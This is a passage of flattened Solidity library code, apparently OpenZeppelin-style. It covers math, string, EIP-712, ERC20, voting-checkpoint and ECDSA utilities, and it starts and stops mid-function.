16;\n\n isGt = SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= isGt * 64;\n\n result += isGt * 8;\n\n isGt = SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= isGt * 32;\n\n result += isGt * 4;\n\n isGt = SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= isGt * 16;\n\n result += isGt * 2;\n\n result += SafeCast.toUint(value > (1 << 8) - 1);\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function ternary(\n bool condition,\n int256 a,\n int256 b\n ) internal pure returns (int256) {\n unchecked {\n return b ^ ((a ^ b) * int256(SafeCast.toUint(condition)));\n }\n }\n\n function max(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a > b, a, b);\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a < b, a, b);\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n int256 mask = n >> 255;\n\n return uint256((n + mask) ^ mask);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly (\"memory-safe\") {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly (\"memory-safe\") {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function toChecksumHexString(\n address addr\n ) internal pure returns (string memory) {\n bytes memory buffer = bytes(toHexString(addr));\n\n uint256 hashValue;\n\n assembly (\"memory-safe\") {\n hashValue := shr(96, keccak256(add(buffer, 0x22), 40))\n }\n\n for (uint256 i = 41; i > 1; --i) {\n if (hashValue & 0xf > 7 && uint8(buffer[i]) > 96) {\n buffer[i] ^= 0x20;\n }\n\n hashValue >>= 4;\n }\n\n return string(buffer);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nlibrary MessageHashUtils {\n function toEthSignedMessageHash(\n bytes32 messageHash\n ) internal pure returns (bytes32 digest) {\n assembly (\"memory-safe\") {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n\n mstore(0x1c, messageHash)\n\n digest := keccak256(0x00, 0x3c)\n }\n }\n\n function toEthSignedMessageHash(\n bytes memory message\n ) internal pure returns (bytes32) {\n return\n keccak256(\n bytes.concat(\n \"\\x19Ethereum Signed Message:\\n\",\n bytes(Strings.toString(message.length)),\n message\n )\n );\n }\n\n function toDataWithIntendedValidatorHash(\n address validator,\n bytes memory data\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32 digest) {\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, hex\"19_01\")\n\n mstore(add(ptr, 0x02), domainSeparator)\n\n mstore(add(ptr, 0x22), structHash)\n\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct Int256Slot {\n int256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getInt256Slot(\n bytes32 slot\n ) internal pure returns (Int256Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := store.slot\n }\n }\n}\n\ntype ShortString is bytes32;\n\nlibrary ShortStrings {\n bytes32 private constant FALLBACK_SENTINEL =\n 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n\n error InvalidShortString();\n\n function toShortString(\n string memory str\n ) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n\n string memory str = new string(32);\n\n assembly (\"memory-safe\") {\n mstore(str, len)\n\n mstore(add(str, 0x20), sstr)\n }\n\n return str;\n }\n\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n\n if (result > 31) {\n revert InvalidShortString();\n }\n\n return result;\n }\n\n function toShortStringWithFallback(\n string memory value,\n string storage store\n ) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n\n return ShortString.wrap(FALLBACK_SENTINEL);\n }\n }\n\n function toStringWithFallback(\n ShortString value,\n string storage store\n ) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n function byteLengthWithFallback(\n ShortString value,\n string storage store\n ) internal view returns (uint256) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n\ninterface IERC5267 {\n event EIP712DomainChanged();\n\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant TYPE_HASH =\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n bytes32 private immutable _cachedDomainSeparator;\n\n uint256 private immutable _cachedChainId;\n\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n\n ShortString private immutable _version;\n\n string private _nameFallback;\n\n string private _versionFallback;\n\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n\n _version = version.toShortStringWithFallback(_versionFallback);\n\n _hashedName = keccak256(bytes(name));\n\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n\n _cachedDomainSeparator = _buildDomainSeparator();\n\n _cachedThis = address(this);\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n TYPE_HASH,\n _hashedName,\n _hashedVersion,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return\n MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n function eip712Domain()\n public\n view\n virtual\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n function _EIP712Name() internal view returns (string memory) {\n return _name.toStringWithFallback(_nameFallback);\n }\n\n function _EIP712Version() internal view returns (string memory) {\n return _version.toStringWithFallback(_versionFallback);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\ninterface IVotes {\n error VotesExpiredSignature(uint256 expiry);\n\n event DelegateChanged(\n address indexed delegator,\n address indexed fromDelegate,\n address indexed toDelegate\n );\n\n event DelegateVotesChanged(\n address indexed delegate,\n uint256 previousVotes,\n uint256 newVotes\n );\n\n function getVotes(address account) external view returns (uint256);\n\n function getPastVotes(\n address account,\n uint256 timepoint\n ) external view returns (uint256);\n\n function getPastTotalSupply(\n uint256 timepoint\n ) external view returns (uint256);\n\n function delegates(address account) external view returns (address);\n\n function delegate(address delegatee) external;\n\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n}\n\ninterface IERC6372 {\n function clock() external view returns (uint48);\n\n function CLOCK_MODE() external view returns (string memory);\n}\n\ninterface IERC5805 is IERC6372, IVotes {}\n\nabstract contract Nonces {\n error InvalidAccountNonce(address account, uint256 currentNonce);\n\n mapping(address account => uint256) private _nonces;\n\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner];\n }\n\n function _useNonce(address owner) internal virtual returns (uint256) {\n unchecked {\n return _nonces[owner]++;\n }\n }\n\n function _useCheckedNonce(address owner, uint256 nonce) internal virtual {\n uint256 current = _useNonce(owner);\n\n if (nonce != current) {\n revert InvalidAccountNonce(owner, current);\n }\n }\n}\n\nlibrary Checkpoints {\n error CheckpointUnorderedInsertion();\n\n struct Trace224 {\n Checkpoint224[] _checkpoints;\n }\n\n struct Checkpoint224 {\n uint32 _key;\n uint224 _value;\n }\n\n function push(\n Trace224 storage self,\n uint32 key,\n uint224 value\n ) internal returns (uint224 oldValue, uint224 newValue) {\n return _insert(self._checkpoints, key, value);\n }\n\n function lowerLookup(\n Trace224 storage self,\n uint32 key\n ) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n function upperLookup(\n Trace224 storage self,\n uint32 key\n ) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function upperLookupRecent(\n Trace224 storage self,\n uint32 key\n ) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function latest(Trace224 storage self) internal view returns (uint224) {\n uint256 pos = self._checkpoints.length;\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function latestCheckpoint(\n Trace224 storage self\n ) internal view returns (bool exists, uint32 _key, uint224 _value) {\n uint256 pos = self._checkpoints.length;\n\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint224 storage ckpt = _unsafeAccess(\n self._checkpoints,\n pos - 1\n );\n\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n function length(Trace224 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n function at(\n Trace224 storage self,\n uint32 pos\n ) internal view returns (Checkpoint224 memory) {\n return self._checkpoints[pos];\n }\n\n function _insert(\n Checkpoint224[] storage self,\n uint32 key,\n uint224 value\n ) private returns (uint224 oldValue, uint224 newValue) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n Checkpoint224 storage last = _unsafeAccess(self, pos - 1);\n\n uint32 lastKey = last._key;\n\n uint224 lastValue = last._value;\n\n if (lastKey > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n if (lastKey == key) {\n last._value = value;\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n }\n\n return (lastValue, value);\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n\n return (0, value);\n }\n }\n\n function _upperBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n return high;\n }\n\n function _lowerBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n\n return high;\n }\n\n function _unsafeAccess(\n Checkpoint224[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint224 storage result) {\n assembly {\n mstore(0, self.slot)\n\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace208 {\n Checkpoint208[] _checkpoints;\n }\n\n struct Checkpoint208 {\n uint48 _key;\n uint208 _value;\n }\n\n function push(\n Trace208 storage self,\n uint48 key,\n uint208 value\n ) internal returns (uint208 oldValue, uint208 newValue) {\n return _insert(self._checkpoints, key, value);\n }\n\n function lowerLookup(\n Trace208 storage self,\n uint48 key\n ) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n function upperLookup(\n Trace208 storage self,\n uint48 key\n ) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function upperLookupRecent(\n Trace208 storage self,\n uint48 key\n ) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function latest(Trace208 storage self) internal view returns (uint208) {\n uint256 pos = self._checkpoints.length;\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function latestCheckpoint(\n Trace208 storage self\n ) internal view returns (bool exists, uint48 _key, uint208 _value) {\n uint256 pos = self._checkpoints.length;\n\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint208 storage ckpt = _unsafeAccess(\n self._checkpoints,\n pos - 1\n );\n\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n function length(Trace208 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n function at(\n Trace208 storage self,\n uint32 pos\n ) internal view returns (Checkpoint208 memory) {\n return self._checkpoints[pos];\n }\n\n function _insert(\n Checkpoint208[] storage self,\n uint48 key,\n uint208 value\n ) private returns (uint208 oldValue, uint208 newValue) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n Checkpoint208 storage last = _unsafeAccess(self, pos - 1);\n\n uint48 lastKey = last._key;\n\n uint208 lastValue = last._value;\n\n if (lastKey > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n if (lastKey == key) {\n last._value = value;\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n }\n\n return (lastValue, value);\n } else {\n self.push(Checkpoint208({_key: key, _value: value}));\n\n return (0, value);\n }\n }\n\n function _upperBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n return high;\n }\n\n function _lowerBinaryLookup(\n Checkpoint208[] storage self,\n uint48 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n\n return high;\n }\n\n function _unsafeAccess(\n Checkpoint208[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint208 storage result) {\n assembly {\n mstore(0, self.slot)\n\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace160 {\n Checkpoint160[] _checkpoints;\n }\n\n struct Checkpoint160 {\n uint96 _key;\n uint160 _value;\n }\n\n function push(\n Trace160 storage self,\n uint96 key,\n uint160 value\n ) internal returns (uint160 oldValue, uint160 newValue) {\n return _insert(self._checkpoints, key, value);\n }\n\n function lowerLookup(\n Trace160 storage self,\n uint96 key\n ) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n function upperLookup(\n Trace160 storage self,\n uint96 key\n ) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function upperLookupRecent(\n Trace160 storage self,\n uint96 key\n ) internal view returns (uint160) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function latest(Trace160 storage self) internal view returns (uint160) {\n uint256 pos = self._checkpoints.length;\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n function latestCheckpoint(\n Trace160 storage self\n ) internal view returns (bool exists, uint96 _key, uint160 _value) {\n uint256 pos = self._checkpoints.length;\n\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint160 storage ckpt = _unsafeAccess(\n self._checkpoints,\n pos - 1\n );\n\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n function length(Trace160 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n function at(\n Trace160 storage self,\n uint32 pos\n ) internal view returns (Checkpoint160 memory) {\n return self._checkpoints[pos];\n }\n\n function _insert(\n Checkpoint160[] storage self,\n uint96 key,\n uint160 value\n ) private returns (uint160 oldValue, uint160 newValue) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n Checkpoint160 storage last = _unsafeAccess(self, pos - 1);\n\n uint96 lastKey = last._key;\n\n uint160 lastValue = last._value;\n\n if (lastKey > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n if (lastKey == key) {\n last._value = value;\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n }\n\n return (lastValue, value);\n } else {\n self.push(Checkpoint160({_key: key, _value: value}));\n\n return (0, value);\n }\n }\n\n function _upperBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n return high;\n }\n\n function _lowerBinaryLookup(\n Checkpoint160[] storage self,\n uint96 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n\n return high;\n }\n\n function _unsafeAccess(\n Checkpoint160[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint160 storage result) {\n assembly {\n mstore(0, self.slot)\n\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n}\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n error ECDSAInvalidSignature();\n\n error ECDSAInvalidSignatureLength(uint256 length);\n\n error ECDSAInvalidSignatureS(bytes32 s);\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly (\"memory-safe\") {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (\n address(0),\n RecoverError.InvalidSignatureLength,\n bytes32(signature.length)\n );\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n signature\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n unchecked {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n r,\n vs\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), 